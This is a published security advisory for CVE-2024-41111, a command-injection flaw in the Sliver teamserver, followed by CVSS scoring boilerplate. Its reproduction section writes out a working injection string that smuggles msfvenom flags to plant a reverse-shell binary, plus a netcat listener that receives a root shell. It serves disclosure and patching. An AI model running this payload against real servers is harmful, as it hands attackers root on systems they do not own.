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Sliver Allows Authenticated Operator-to-Server Remote Code Execution

High severity GitHub Reviewed Published Jul 18, 2024 in BishopFox/sliver • Updated Aug 2, 2024

Package

gomod github.com/bishopfox/sliver (Go)

Affected versions

>= 1.5.40, <= 1.6.0-dev

Patched versions

1.6.0

Description

Description

Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.

Impact

As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.

Reproduction

First configure the Sliver server in multiplayer mode and add an operator profile.

Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.

git checkout 5016fb8d
VERSION=1.6.0 make client

The latest server version is targeted:

All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`

The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:

sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go

[*] Sliver implant stager saved to: [...]

The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.

If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.

On the attacking machine, setup a netcat shell:

$ nc -lvp 8888
Listening on 0.0.0.0 8888

Trigger the stager by running a command which executes /root/.sliver/go/bin/go:

sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
 ⠼  Compiling, please wait ...

A root shell will pop:

$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root

The vulnerable code was introduced in BishopFox/sliver#1281

References

@moloch-- moloch-- published to BishopFox/sliver Jul 18, 2024
Published to the GitHub Advisory Database Jul 18, 2024
Reviewed Jul 18, 2024
Published by the National Vulnerability Database Jul 18, 2024
Last updated Aug 2, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-41111

GHSA ID

GHSA-hc5w-gxxr-w8x8

Source code

Credits

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